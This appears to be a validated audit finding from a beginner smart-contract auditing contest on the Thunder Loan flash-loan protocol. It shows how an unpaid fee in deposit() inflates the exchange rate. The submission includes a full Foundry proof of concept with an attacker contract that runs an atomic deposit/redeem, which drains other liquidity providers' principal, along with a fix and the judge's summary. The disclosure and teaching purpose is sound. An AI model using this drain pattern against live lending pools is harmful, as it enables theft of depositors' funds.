Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

ThunderLoan.deposit raises the AssetToken exchange rate by a 0.3% fee that is never paid, so the pool is insolvent after every deposit and an atomic deposit/redeem drains other LPs' principal

friedsocks233

Root + Impact

Description

  • deposit() should mint AssetTokens at the current exchange rate, pull in exactly amount, and leave the rate unchanged. The rate should rise only when flash-loan fees are actually paid into the AssetToken, so that totalSupply * rate never exceeds the underlying held; ThunderLoanUpgraded.deposit (L146-L154) does exactly this.

  • ThunderLoan.deposit mints the depositor's shares (L152), computes a flash-loan fee on the deposited amount (0.3% of its WETH value) and passes it to assetToken.updateExchangeRate (L153-L154), but transfers in only amount (L155), so the fee is never collected. Each deposit therefore raises the value of every outstanding share, the new depositor's included, by tokens that never arrive, and total claims exceed the underlying held. The last LPs to redeem cannot withdraw in full, and a large deposit followed by an immediate redeem moves that unbacked credit out of other LPs' principal.

// src/protocol/ThunderLoan.sol L147-L156
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount); // @>
assetToken.updateExchangeRate(calculatedFee); // @>
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
​
// src/protocol/AssetToken.sol L89 (context: how the unpaid fee raises every share's value)
uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

Risk

Likelihood:

  • It happens on every call to deposit(), with no attacker and no special state. In the PoC's honest-only tests, the shortfall appears after the very first deposit (rate 1.003e18, claim 1003e18 against 1000e18 held).

  • The theft path is permissionless. deposit() and redeem() are external functions on any allowed token, need no privileged role, timing or reentrancy, and the PoC runs both inside one external call.

  • The only requirement is capital that is large relative to the pool: to empty it, 0.3% of the deposit's WETH value must exceed the targeted LP balance. That capital can be borrowed for a single transaction from an external flash-loan venue, and the PoC mints it as a stand-in for such a loan. The gain also scales linearly with the TSwap spot price read by getCalculatedFee: in the PoC, doubling the price raised the profit from 297.9e18 to 595.8e18. The cost of moving a real pool's price is not modelled.

Impact:

  • Direct theft of LP principal. One atomic deposit/redeem of 100,000e18 against an LP's 1000e18 returns a profit of 297.91e18, and profit plus what is left in the pool equals exactly 1000e18, so every token of profit comes out of the LP's principal. With X = 400,000e18, a single transaction leaves 1 wei in the pool and takes essentially all of the LP's 1000e18.

  • Insolvency without any attacker. After a sole 1000e18 deposit, the LP's redeem(type(uint256).max) reverts with 'ERC20: transfer amount exceeds balance'. With two honest 1000e18 LPs, the first exits with 1004.51e18 and the second can recover only 995.49e18. This breaks the stated invariant that the protocol never loses LP deposits (test/fuzz/Invariant.t.sol L7).

  • The deficit is stored in the AssetToken's exchange rate, so the planned upgrade to ThunderLoanUpgraded does not remove it. After upgradeTo, the rate is still 1.003e18, claims (~1503e18) still exceed holdings (1500e18), and the second LP's redeem(max) reverts.

Proof of Concept

test/PoC_TL-02.t.sol (contract PoC_TL02) deploys ThunderLoan behind an ERC1967Proxy with an OpenZeppelin ERC20Mock token and an in-file TSwap pool stand-in whose spot price can be set. Its seven tests show the following. With ThunderLoanUpgraded.deposit as the baseline, the rate stays at 1e18 and the LP gets back exactly 1000e18. With the original deposit: a sole deposit moves the rate to 1.003e18 and redeem(max) reverts; an atomic deposit/redeem takes LP principal 1:1 (297.91e18 at X=100,000e18, and all but 1 wei at X=400,000e18); profit doubles when the spot price doubles; the deficit persists after upgradeTo(ThunderLoanUpgraded); and the second of two honest LPs cannot redeem in full. Run it with forge test --match-path test/PoC_TL-02.t.sol -vv.

File test/PoC_TL-02.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_TL-02.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
​
/// TSwap pool stand-in whose WETH spot price can be moved (models a pumped price).
contract TL02Pool {
uint256 public price = 1e18;
​
function setPrice(uint256 p) external {
price = p;
}
​
function getPriceOfOnePoolTokenInWeth() external view returns (uint256) {
return price;
}
}
​
contract TL02Factory {
mapping(address => address) private s_pools;
​
function createPool(address token) external returns (address) {
TL02Pool p = new TL02Pool();
s_pools[token] = address(p);
return address(p);
}
​
function getPool(address token) external view returns (address) {
return s_pools[token];
}
}
​
interface ITL02 {
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
}
​
/// Attacker: one external call = deposit X then redeem, atomically (same tx).
/// It redeems all its shares, or as many as the pool can still pay out.
/// Its capital X stands in for funds flash-borrowed from another venue.
contract TL02Cycler {
function cycle(ITL02 tl, IERC20 token, uint256 x) external {
token.approve(address(tl), x);
tl.deposit(token, x);
AssetToken at = tl.getAssetFromToken(token);
uint256 shares = at.balanceOf(address(this));
uint256 rate = at.getExchangeRate();
uint256 payable_ = (token.balanceOf(address(at)) * 1e18) / rate;
tl.redeem(token, shares < payable_ ? shares : payable_);
}
}
​
contract PoC_TL02 is Test {
ThunderLoan thunderLoan;
TL02Factory factory;
TL02Pool pool;
ERC20Mock tokenA;
AssetToken asset;
​
address lp = makeAddr("lp");
address lp2 = makeAddr("lp2");
​
function setUp() public {
factory = new TL02Factory();
tokenA = new ERC20Mock();
pool = TL02Pool(factory.createPool(address(tokenA)));
​
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(factory)); // this test contract is owner
asset = thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);
}
​
function _deposit(address who, ITL02 tl, uint256 amt) internal {
tokenA.mint(who, amt);
vm.startPrank(who);
tokenA.approve(address(tl), amt);
tl.deposit(IERC20(address(tokenA)), amt);
vm.stopPrank();
}
​
function _claim(address who, AssetToken at) internal view returns (uint256) {
return (at.balanceOf(who) * at.getExchangeRate()) / 1e18;
}
​
// ------------------------------------------------------------------
// BASELINE: the intended behaviour (ThunderLoanUpgraded.deposit, which
// drops the two updateExchangeRate lines). Deposit then redeem is exact.
// ------------------------------------------------------------------
function test_Baseline_UpgradedDepositKeepsRateAndLpRedeemsInFull() public {
ThunderLoanUpgraded impl2 = new ThunderLoanUpgraded();
ERC1967Proxy proxy2 = new ERC1967Proxy(address(impl2), "");
ThunderLoanUpgraded tl2 = ThunderLoanUpgraded(address(proxy2));
tl2.initialize(address(factory));
AssetToken at2 = tl2.setAllowedToken(IERC20(address(tokenA)), true);
​
_deposit(lp, ITL02(address(tl2)), 1000e18);
assertEq(at2.getExchangeRate(), 1e18, "baseline: rate unchanged by deposit");
assertEq(_claim(lp, at2), tokenA.balanceOf(address(at2)), "baseline: claim == assets");
​
vm.prank(lp);
tl2.redeem(IERC20(address(tokenA)), type(uint256).max);
assertEq(tokenA.balanceOf(lp), 1000e18, "baseline: LP gets full deposit back");
}
​
// ------------------------------------------------------------------
// LIMB 1: insolvency with no attacker. A sole LP cannot redeem in full.
// ------------------------------------------------------------------
function test_Limb1_SoleDepositMakesPoolInsolvent() public {
_deposit(lp, ITL02(address(thunderLoan)), 1000e18);
​
uint256 rate = asset.getExchangeRate();
uint256 held = tokenA.balanceOf(address(asset));
uint256 owed = _claim(lp, asset);
console.log("rate after sole deposit:", rate);
console.log("underlying held :", held);
console.log("LP claim :", owed);
​
assertEq(rate, 1.003e18, "rate rose by an unpaid 0.3% fee");
assertEq(held, 1000e18, "only the principal arrived");
assertEq(owed, 1003e18, "LP is owed more than the pool holds");
​
vm.prank(lp);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);
}
​
// LIMB 5 (no attacker): two honest LPs -> bank run, the last one cannot exit in full.
function test_Limb5_BankRun_LastLpCannotWithdrawInFull() public {
_deposit(lp, ITL02(address(thunderLoan)), 1000e18);
_deposit(lp2, ITL02(address(thunderLoan)), 1000e18);
​
uint256 held = tokenA.balanceOf(address(asset));
uint256 claims = _claim(lp, asset) + _claim(lp2, asset);
console.log("held / total claims:", held, claims);
assertEq(held, 2000e18);
assertGt(claims, held, "total LP claims exceed assets");
​
vm.prank(lp);
thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);
console.log("LP1 got back:", tokenA.balanceOf(lp));
assertGt(tokenA.balanceOf(lp), 1000e18, "first exiter takes more than deposited");
​
vm.prank(lp2);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);
​
uint256 left = tokenA.balanceOf(address(asset));
console.log("left for LP2 (deposited 1000e18):", left);
assertLt(left, 1000e18, "LP2 can recover less than its principal");
}
​
// ------------------------------------------------------------------
// LIMB 2: theft. Atomic deposit/redeem of X = 100,000e18 against an LP's 1000e18.
// ------------------------------------------------------------------
function test_Limb2_AtomicDepositRedeemStealsLpPrincipal() public {
_deposit(lp, ITL02(address(thunderLoan)), 1000e18);
​
TL02Cycler attacker = new TL02Cycler();
uint256 x = 100_000e18;
tokenA.mint(address(attacker), x); // capital borrowed elsewhere
​
attacker.cycle(ITL02(address(thunderLoan)), IERC20(address(tokenA)), x);
​
uint256 profit = tokenA.balanceOf(address(attacker)) - x;
uint256 poolLeft = tokenA.balanceOf(address(asset));
uint256 lpClaim = _claim(lp, asset);
console.log("attacker profit (one tx):", profit);
console.log("rate after cycle :", asset.getExchangeRate());
console.log("pool left / LP claim :", poolLeft, lpClaim);
​
assertEq(asset.balanceOf(address(attacker)), 0, "attacker fully exited");
assertApproxEqAbs(profit, 297.91e18, 0.01e18, "~297.9e18 profit");
assertApproxEqAbs(poolLeft, 702.09e18, 0.01e18, "pool left ~702.09e18");
assertApproxEqAbs(lpClaim, 1005.99e18, 0.01e18, "LP claim ~1005.99e18");
assertEq(poolLeft + profit, 1000e18, "profit came 1:1 out of the LP's principal");
​
// The LP cannot withdraw; the most it can ever get back is what's left.
vm.prank(lp);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);
}
​
// LIMB 2 (cont.): size X so the phantom fee exceeds the LP's balance -> pool emptied in one tx.
function test_Limb2_SizedCycleEmptiesPool() public {
_deposit(lp, ITL02(address(thunderLoan)), 1000e18);
​
TL02Cycler attacker = new TL02Cycler();
uint256 x = 400_000e18; // 0.3% of X = 1200e18 > 1000e18 held for the LP
tokenA.mint(address(attacker), x);
attacker.cycle(ITL02(address(thunderLoan)), IERC20(address(tokenA)), x);
​
uint256 profit = tokenA.balanceOf(address(attacker)) - x;
uint256 poolLeft = tokenA.balanceOf(address(asset));
console.log("attacker profit:", profit);
console.log("pool left :", poolLeft);
console.log("LP claim :", _claim(lp, asset));
​
assertLt(poolLeft, 1e6, "pool emptied (dust only)");
assertGt(profit, 1000e18 - 1e6, "attacker took essentially all LP principal");
}
​
// ------------------------------------------------------------------
// LIMB 3: the phantom fee (and so the theft) scales with the oracle spot price.
// ------------------------------------------------------------------
function _profitAtPrice(uint256 price) internal returns (uint256) {
uint256 snap = vm.snapshot();
_deposit(lp, ITL02(address(thunderLoan)), 1000e18); // LP deposits at price 1e18
pool.setPrice(price); // spot price moved before the cycle
TL02Cycler attacker = new TL02Cycler();
tokenA.mint(address(attacker), 100_000e18);
attacker.cycle(ITL02(address(thunderLoan)), IERC20(address(tokenA)), 100_000e18);
uint256 profit = tokenA.balanceOf(address(attacker)) - 100_000e18;
vm.revertTo(snap);
return profit;
}
​
function test_Limb3_TheftScalesWithSpotPrice() public {
uint256 p1 = _profitAtPrice(1e18);
uint256 p2 = _profitAtPrice(2e18);
console.log("profit at price 1e18:", p1);
console.log("profit at price 2e18:", p2);
assertGt(p2, (p1 * 195) / 100, "doubling spot price ~doubles the theft");
assertEq(thunderLoan.getCalculatedFee(IERC20(address(tokenA)), 100_000e18), 300e18);
pool.setPrice(2e18);
assertEq(thunderLoan.getCalculatedFee(IERC20(address(tokenA)), 100_000e18), 600e18);
}
​
// ------------------------------------------------------------------
// LIMB 4: the inflated rate survives the upgrade to ThunderLoanUpgraded.
// ------------------------------------------------------------------
function test_Limb4_DeficitPersistsAfterUpgrade() public {
_deposit(lp, ITL02(address(thunderLoan)), 1000e18);
assertEq(asset.getExchangeRate(), 1.003e18);
​
ThunderLoanUpgraded impl2 = new ThunderLoanUpgraded();
thunderLoan.upgradeTo(address(impl2)); // owner = this test contract
ITL02 tl2 = ITL02(address(thunderLoan));
​
assertEq(address(tl2.getAssetFromToken(IERC20(address(tokenA)))), address(asset), "same AssetToken");
assertEq(asset.getExchangeRate(), 1.003e18, "inflated rate persists after the fix ships");
​
// New deposits under the fixed code no longer move the rate ...
_deposit(lp2, tl2, 500e18);
assertEq(asset.getExchangeRate(), 1.003e18, "upgraded deposit leaves rate alone");
​
// ... but the deficit is still there: total claims > assets, LP1 exits, LP2 is short.
uint256 held = tokenA.balanceOf(address(asset));
uint256 claims = _claim(lp, asset) + _claim(lp2, asset);
console.log("post-upgrade held / claims:", held, claims);
assertGt(claims, held, "deficit persists post-upgrade");
​
vm.prank(lp);
tl2.redeem(IERC20(address(tokenA)), type(uint256).max);
vm.prank(lp2);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
tl2.redeem(IERC20(address(tokenA)), type(uint256).max);
}
}

Recommended Mitigation

--- a/src/protocol/ThunderLoan.sol
+++ b/src/protocol/ThunderLoan.sol
@@ -147,10 +147,8 @@
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!